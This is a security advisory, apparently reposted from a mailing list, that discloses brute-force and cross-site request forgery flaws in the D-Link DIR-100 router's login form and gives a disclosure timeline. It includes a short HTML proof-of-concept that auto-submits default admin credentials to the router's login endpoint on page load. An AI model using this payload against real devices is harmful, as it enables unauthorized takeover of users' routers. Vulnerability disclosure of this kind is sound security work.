D-Link DIR-100 Brute Force / Cross Site Request Forgery

D-Link DIR-100 suffers from brute force and cross site request forgery vulnerabilities.

MD5 | b8b887922adc51bf8cd2293906751d38

Hello list!

There are Brute Force and Cross-Site Request Forgery vulnerabilities in
D-Link DIR-100.

Affected products:

Vulnerable is the next model: D-Link DIR-100, Firmware v1.01. All other
versions also must be vulnerable.


Brute Force (WASC-11):


No protection from BF attacks in login form.

Cross-Site Request Forgery (WASC-09):

Lack of protection against Brute Force (such as captcha) also leads to
possibility of conducting of CSRF attacks, which I wrote about in the
article Attacks on unprotected login forms
It allows to conduct remote login. Which will be in handy at conducting of
attacks on different CSRF and XSS vulnerabilities in control panel.

D-Link DIR-100 CSRF.html

<title>D-Link DIR-100 CSRF exploit (C) 2017 MustLive.
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/postlogin.xgi" method="post">
<input type="hidden" name="authen_username" value="admin">
<input type="hidden" name="authen_password" value="admin">

Cross-Site Request Forgery (WASC-09):

Change admin's password:



2015.05.02 - announced at my site about vulnerabilities in DIR-100.
2015-2017 - informed developers about multiple vulnerabilities in this and
other D-Link devices.
2017.02.04 - disclosed at my site (http://websecurity.com.ua/7745/).

Best wishes & regards,
Administrator of Websecurity web site

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